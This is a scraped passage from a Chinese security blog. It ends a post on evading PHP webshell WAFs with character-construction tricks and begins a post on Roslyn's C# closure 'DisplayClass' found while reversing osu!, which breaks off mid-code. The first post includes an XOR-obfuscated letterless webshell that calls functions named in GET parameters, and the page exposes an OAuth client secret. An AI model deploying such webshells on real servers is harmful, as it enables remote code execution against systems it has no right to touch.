tag打开了(在eval里),不然一定是开着short open tag的。\u003c/p\u003e\u003cp\u003ePHP5.4.0起,\u003ccode\u003e\u0026lt;?=\u003c/code\u003e短开标签是一直可用的。虽然输出的垃圾信息多了一点但是不影响它好用啊(\u003cbr\u003e当然,为了更短的长度,short open tag选项打开的时候还是尽量用\u003ccode\u003e\u0026lt;?\u003c/code\u003e更舒适。\u003c/p\u003e\u003cp\u003e总之,要解决白名单,当务之急是拓展可用的字符。\u003c/p\u003e\u003cp\u003ephp的\u0026quot;.“字符串拼接符号是一个绝妙的将对象转为字符类型的工具。只要有了”.\u0026quot;就可以构造出很多字符。\u003c/p\u003e\u003ch3 id=\"root-3-w-0-Array\"\u003eroot.3.w.0 Array\u003c/h3\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?\u003c/span\u003e\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e=[];\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e.=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e \u003cspan class=\"comment\"\u003e// .=[],.=\u0026#x27;\u0026#x27;,.=0/0,随便什么都行\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?=\u003c/span\u003e\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e[\u003cspan class=\"number\"\u003e3\u003c/span\u003e]\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e \u003cspan class=\"comment\"\u003e// a\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?=\u003c/span\u003e\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e+++\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e+++\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e+++\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e++\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e \u003cspan class=\"comment\"\u003e// 以此类推能拿到a-z\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?=\u003c/span\u003e\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e \u003cspan class=\"comment\"\u003e// A,同理能拿到A-Z\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e通过连加的方式可以缩短payload长度(谭浩强警告)\u003c/p\u003e\u003ch3 id=\"root-3-w-1-NAN-INF-ANIF\"\u003eroot.3.w.1 NAN, INF (ANIF)\u003c/h3\u003e\u003cp\u003e自\u003cstrong\u003ePHP7\u003c/strong\u003e以来,为了\u003ca href=\"https://www.php.net/manual/en/migration70.incompatible.php#migration70.incompatible.integers.div-by-zero\"\u003e遵从IEEE规范\u003c/a\u003e,0/0与1/0返回的是常量\u003ccode\u003efloat(NAN)\u003c/code\u003e与\u003ccode\u003efloat(INF)\u003c/code\u003e。没错,它们在转字符串的时候还就是\u003ccode\u003e\u0026quot;NAN\u0026quot;\u003c/code\u003e与\u003ccode\u003e\u0026quot;INF\u0026quot;\u003c/code\u003e。那么有了A、N、I、F四个字符我们能够构造出那些字符呢?\u003c/p\u003e\u003cp\u003e所有字符。\u003c/p\u003e\u003cp\u003ePHP函数实际上是\u003ca href=\"https://www.php.net/manual/en/functions.user-defined.php#:~:text=Function%20names%20are%20case-insensitive\"\u003e不区分大小写\u003c/a\u003e的。所以我们可以。。。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eTOLOWER\u003c/code\u003e!这样我们就能构造出大小写所有字母了。有了字母我们当然可以进一步构造出所有字符。\u003c/p\u003e\u003ch3 id=\"root-3-w-1-0-连数字也没有怎么办\"\u003eroot.3.w.1.0 连数字也没有怎么办\u003c/h3\u003e\u003cp\u003etrue和false在php里是1和0\u003cbr\u003e也就是说\u003ccode\u003etrue/false == INF\u003c/code\u003e,\u003ccode\u003efalse/false == NAN\u003c/code\u003e\u003cbr\u003e构造出true和false那还不简单\u003c/p\u003e\u003cfigure class=\"highlight text\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e[]\u0026gt;[] == false\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e[[]]\u0026gt;[] == true\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e只要让你闭合tag你就有生存空间\u003c/p\u003e\u003ch3 id=\"root-3-w-3-ban掉-存疑\"\u003eroot.3.w.3 ban掉\u0026quot;.\u0026quot; (?存疑)\u003c/h3\u003e\u003cp\u003e如果没了字符串拼接符号,也就是缺少了一大obj-\u0026gt;str的途径,那么还有没有可能构造出额外的字符呢?\u003c/p\u003e\u003ch3 id=\"root-3-b-无字母,黑名单\"\u003eroot.3.b 无字母,黑名单\u003c/h3\u003e\u003cp\u003e黑名单就好玩了,用什么字符都可以,那么只需要补齐题目ban掉的那些字符即可。当然对于非强迫症而言\u003cstrong\u003e有可能\u003c/strong\u003e只需要补齐一部分字符就能做出题了。\u003c/p\u003e\u003cp\u003e由于php只支持256单字节字符,很多unicode字符(比如中文)的长度大于1(\u003ccode\u003estrlen(\u0026quot;啊\u0026quot;)===3\u003c/code\u003e),也就是说我们实际上是能“切”出一部分的值拿来进行运算的(\u003ccode\u003e\u0026quot;啊\u0026quot;[0] === \u0026quot;\\xe5\u0026quot;\u003c/code\u003e)。具体为何请参考unicode表。\u003cbr\u003e在实际操作中,用汉字切与直接输入不可见字符没有本质的区别,但更直观一些(至少你能看见)\u003c/p\u003e\u003cp\u003e有一点就是对字符串位运算实际上不需要一个个字符串拼接。PHP会逐字节将两侧的字符串喂给位运算,得到新的字符串。\u003c/p\u003e\u003ch3 id=\"root-3-b-x-异或\"\u003eroot.3.b.x 异或\u003c/h3\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;`\u0026#123;\u0026#123;\u0026#123;\u0026quot;\u003c/span\u003e^\u003cspan class=\"string\"\u003e\u0026quot;?\u0026lt;\u0026gt;/\u0026quot;\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// _GET\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e$\u0026#123;\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e\u0026#125;[_]($\u0026#123;\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e\u0026#125;[__]);\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"root-3-b-r-取反与或非\"\u003eroot.3.b.r 取反与或非\u003c/h3\u003e\u003cp\u003e略,见p师傅博客与各大搜索引擎\u003c/p\u003e\u003ch3 id=\"root-4-ban掉一些标识符\"\u003eroot.4 ban掉一些标识符\u003c/h3\u003e\u003ch3 id=\"root-4-0-进制转换\"\u003eroot.4.0 进制转换\u003c/h3\u003e\u003cp\u003e\u003ccode\u003ebase_convert\u003c/code\u003e函数提供2-36进制的转换,可以轻松提供数字到\u003ccode\u003ea-z\u003c/code\u003e字母的转换。\u003cbr\u003e\u003ccode\u003edechex\u003c/code\u003e也可以通过数字获得\u003ccode\u003ea-f\u003c/code\u003e的值\u003c/p\u003e\u003ch3 id=\"root-4-1-数学函数\"\u003eroot.4.1 数学函数\u003c/h3\u003e\u003cp\u003e由于很少碰到,不展开讲了。但是见到标题应当能想到该做什么了。\u003c/p\u003e\u003ch2 id=\"1\"\u003e-1\u003c/h2\u003e\u003cp\u003e这里仅对一些可能的webshell绕\u003cstrong\u003e内容\u003c/strong\u003ewaf方式进行了微小的总结。其实不难发现每个绕waf的技巧都来源于php自身的动态性以及对\u003cstrong\u003e字符串\u003c/strong\u003e的各种奇妙操作。\u003cbr\u003e文中大部分跨版本不兼容的地方都进行了php文档链接的标注,以供参考。这也是本文之所以存在的一大理由。\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2020/05/10/Security/PHP%20Shell%20Bypass/"},{"title":"Osu逆向过程中的一些小结","time":"2020-02-07T09:04:59Z","content":"\u003cp\u003e由于MacOS Catalina上32bit程序惨遭抛弃,最近一段时间实在没动力为了玩osu!而重启电脑切Windows,于是最近几周在逆旧版的osu!,试图搞清楚关于player point统计、聊天室协议等一系列实现。由于逆的过程中碰到了一些关于微软roslyn的具体实\u003chr /\u003e\u003cp\u003e由于MacOS Catalina上32bit程序惨遭抛弃,最近一段时间实在没动力为了玩osu!而重启电脑切Windows,于是最近几周在逆旧版的osu!,试图搞清楚关于player point统计、聊天室协议等一系列实现。由于逆的过程中碰到了一些关于微软roslyn的具体实现的问题,刚好这玩意开源。读了读一些代码,就觉得有些东西挺值得写写的。\u003c/p\u003e\u003ch2 id=\"目录\"\u003e目录\u003c/h2\u003e\u003cul\u003e\u003cli\u003eDisplay Class 与 lambda\u003c/li\u003e\u003cli\u003eBacking Field 与 getter/setter\u003c/li\u003e\u003cli\u003eCompilerGeneratedAttribute 与 ILSpy\u003c/li\u003e\u003cli\u003e临时变量\u003c/li\u003e\u003cli\u003e\u003ccode\u003e(CS$)?\u0026lt;(.+)\u0026gt;([0-9a-s]__.*)([0-9]*)?\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Display-Class-与-lambda\"\u003eDisplay Class 与 lambda\u003c/h2\u003e\u003cp\u003e在C#中,一个 lambda function 的语法如下:\u003c/p\u003e\u003cfigure class=\"highlight csharp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// in some function\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e(parameter1, parameter2) =\u0026gt; \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e do_something(parameter1, parameter2);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e(parameter1, parameter2) =\u0026gt; do_something(parameter1, parameter2);\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在利用网上的各种工具对 osu! 进行反混淆后,先拿 dnSpy 调一调,发现 osu 对文件的哈希进行了比较复杂的认证,索性直接丢到 ILSpy 里头。(具体步骤参考\u003ca href=\"https://github.com/frankli0324/osu-reversed\"\u003eosu-reversed\u003c/a\u003e)\u003cbr\u003e看了看反编译出来的文件,发现里头有很多非法的符号名,最显眼的就是\u003ccode\u003e\u0026lt;\u0026gt;c_DisplayClass\u003c/code\u003e。这个\u003ccode\u003eDisplayClass\u003c/code\u003e就非常的让人摸不着头脑,遂谷歌\u003c/p\u003e\u003cp\u003e\u003ccode\u003eanonymous method closure class\u003c/code\u003e\u003c/p\u003e\u003cp\u003e为了弄清楚\u003ccode\u003eDisplayClass\u003c/code\u003e到底是什么东西,先得了解几个概念\u003c/p\u003e\u003cp\u003e打开维基百科*,一句一句地看\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e*注:英文。维护维基中文的一帮人就是群憨批。\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"作用域\"\u003e作用域\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eIn programming languages, a closure, also lexical closure or function closure, is a technique for implementing \u003cstrong\u003elexically scoped\u003c/strong\u003e name binding in a language with first-class functions.\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e平常总是说作用域作用域什么的,好像都能理解。但是一说到定义就很模糊了。恰巧,要深刻理解闭包,正要深刻理解作用域,这里就稍稍明晰一下作用域的概念\u003c/p\u003e\u003cp\u003e此处尝试写了点东西,发现自己说得不太清楚,还是放几个传送门把。\u003cbr\u003e看的时候不要以“js是这么干的”或者“python是这么干的”这么想,要以“编程是这么干的”这种思路看。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://en.wikipedia.org/wiki/Scope_(computer_science)#Lexical_scope_vs._dynamic_scope\"\u003eScope\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://github.com/getify/You-Dont-Know-JS/blob/1st-ed/scope%20%26%20closures/ch1.md#enginescope-conversation\"\u003eYouDontKnowJS\u003c/a\u003e\u003c/p\u003e\u003cp\u003e关于词法作用域与动态作用域再说一点。同样举个🌰\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 在某一变量b的作用域内,不管它是全局变量还是啥 \u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ef\u003c/span\u003e(\u003cspan class=\"params\"\u003ea\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a+b\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ec = \u003cspan class=\"number\"\u003e5\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ef(c)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e对于函数\u003ccode\u003ef\u003c/code\u003e的\u003cstrong\u003e定义\u003c/strong\u003e来说,b的这个作用域就是“词法作用域”,而对于函数\u003ccode\u003ef\u003c/code\u003e的\u003cstrong\u003e调用\u003c/strong\u003e\u003ccode\u003ef(c)\u003c/code\u003e来说,c的这个作用域就是“动态作用域”。\u003cbr\u003e其实顾名思义,词法作用域是词法决定的,动态作用域是运行时决定的,这句话说得挺准确的,但是的确不太好理解。\u003c/p\u003e\u003cp\u003eQ: “\u003ccode\u003ef(c)\u003c/code\u003e不也是程序编写的时候就写好的🐎?”A: “它不是\u003cstrong\u003e词法\u003c/strong\u003e决定的”\u003c/p\u003e\u003ch3 id=\"自由变量\"\u003e自由变量\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eOperationally, a closure is a record storing a function together with an environment. The environment is a mapping associating each free variable of the function (variables that are used locally, but defined in an enclosing scope) with the value or reference to which the name was bound when the closure was created.\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e从这句话中,我们看到了“free variable”一词。我们用python实例来说明“free variable”\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eIn [\u003cspan class=\"number\"\u003e1\u003c/span\u003e]: \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ef\u003c/span\u003e(\u003cspan class=\"params\"\u003ea\u003c/span\u003e):\u003c/span\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...: \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eg\u003c/span\u003e(\u003cspan class=\"params\"\u003eb\u003c/span\u003e):\u003c/span\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...: \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a+b \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...: \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e g \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eIn [\u003cspan class=\"number\"\u003e2\u003c/span\u003e]: f(\u003cspan class=\"number\"\u003e1\u003c/span\u003e)(\u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eOut[\u003cspan class=\"number\"\u003e2\u003c/span\u003e]: \u003cspan class=\"number\"\u003e3\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e除去函数,这里涉及到了\u003ccode\u003ea\u003c/code\u003e, \u003ccode\u003eb\u003c/code\u003e两个变量。对于函数\u003ccode\u003ef\u003c/code\u003e来说,\u003ccode\u003ea\u003c/code\u003e是它的参数,但函数\u003ccode\u003eg\u003c/code\u003e却完全在\u003ccode\u003ea\u003c/code\u003e的作用域(此处即函数\u003ccode\u003ef\u003c/code\u003e的函数体)内。此时,\u003ccode\u003eg\u003c/code\u003e的自由变量就是\u003ccode\u003ea\u003c/code\u003e。\u003cbr\u003e回头看一眼\u0026quot;free variable\u0026quot;的wiki:In computer programming, the term \u003cstrong\u003efree variable\u003c/strong\u003e refers to variables used in a function that are neither local variables nor parameters of that function. The term non-local variable is often a synonym in this context.\u003c/p\u003e\u003cp\u003e举一个极端点的例子:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ef\u003c/span\u003e(\u003cspan class=\"params\"\u003ea\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eg\u003c/span\u003e(\u003cspan class=\"params\"\u003eb\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e use a\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eh\u003c/span\u003e(\u003cspan class=\"params\"\u003ec\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e use a \u003cspan class=\"keyword\"\u003eand\u003c/span\u003e b\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ei\u003c/span\u003e(\u003cspan class=\"params\"\u003ed\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e use a \u003cspan class=\"keyword\"\u003eand\u003c/span\u003e b \u003cspan class=\"keyword\"\u003eand\u003c/span\u003e c\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ej\u003c/span\u003e(\u003cspan class=\"params\"\u003ee\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e use d\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e对于\u003ccode\u003eg\u003c/code\u003e来说\u003ccode\u003ea\u003c/code\u003e是自由变量,而对于\u003ccode\u003ef\u003c/code\u003e不是;对于\u003ccode\u003eh\u003c/code\u003e来说\u003ccode\u003ea\u003c/code\u003e、\u003ccode\u003eb\u003c/code\u003e是自由变量,而对于\u003ccode\u003eg\u003c/code\u003e来说\u003ccode\u003eb\u003c/code\u003e不是;对于\u003ccode\u003ei\u003c/code\u003e来说\u003ccode\u003ea\u003c/code\u003e、\u003ccode\u003eb\u003c/code\u003e、\u003ccode\u003ec\u003c/code\u003e是自由变量等等等等等。\u003c/p\u003e\u003ch3 id=\"闭包\"\u003e闭包\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eUnlike a plain function, a closure allows the function to access those captured variables through the closure’s copies of their values or references, even when the function is invoked outside their scope.\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e如果明白了上面的,也就好理解这句话了。它们已经在闭包内了。你要有一个闭包,就必有前面的哪些自由变量。这个闭包又必在这些自由变量的作用域内。我们再看上面的话,不就是在说\u003ccode\u003e闭包就是一个用到了不是局部变量的函数\u003c/code\u003e罢了。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e闭包一词经常和匿名函数混淆。这可能是因为两者经常同时使用,但是它们是不同的概念。\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003e定义域?作用域?\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003e感觉说了一堆废话就为了说一个挺直白的概念\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"匿名函数\"\u003e匿名函数\u003c/h3\u003e\u003cp\u003e理解了闭包,我们再来看匿名函数。\u003cbr\u003e一个匿名函数是否构成闭包,取决于它\u003cstrong\u003e有没有捕获外部变量\u003c/strong\u003e。如何理解呢?那就先请出主角:rosyln\u003c/p\u003e\u003cp\u003e那么,清楚了闭包的概念,rosyln是如何处理闭包的呢?这就是\u003ccode\u003eDisplayClass\u003c/code\u003e上来的地方了。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e根据StackOverflow上的某个答案(翻不到了,Chrome tab开太多了),\u003ccode\u003eDisplayClass\u003c/code\u003e是rosyln的一个命名失误。它本来应该叫\u003ccode\u003eClosureClass\u003c/code\u003e\u003cbr\u003e\u003cs\u003e憨批Microsoft\u003c/s\u003e Microsoft NB\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e也就是说,rosyln试图将所有的闭包都单独放到一个类中,给它们创建单独的作用域环境。如此以来,只要找到这个闭包使用到的所有自由变量,在运行时(动态作用域下)将这些自由变量放到这个新的类里头,就可以轻松地给C#加上闭包的支持。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e为什么说“加上”呢?C#2.0正式支持匿名函数,C#3.0支持lambda,而Local Functions直到C#7.0才支持,也就是可以说C#2.0正式支持了闭包。\u003cbr\u003eFrom Microsoft docs: C# version 2.0 introduced the concept of anonymous methods, which allow code blocks to be passed as parameters in place of a separately defined method. C# 3.0 introduced lambda expressions as a more concise way of writing inline code blocks. Both anonymous methods and lambda expressions (in certain contexts) are compiled to delegate types. Together, these features are now known as anonymous functions. For more information about lambda expressions, see Lambda expressions.\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e我们来做一些实验:\u003c/p\u003e\u003cfigure class=\"highlight csharp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan 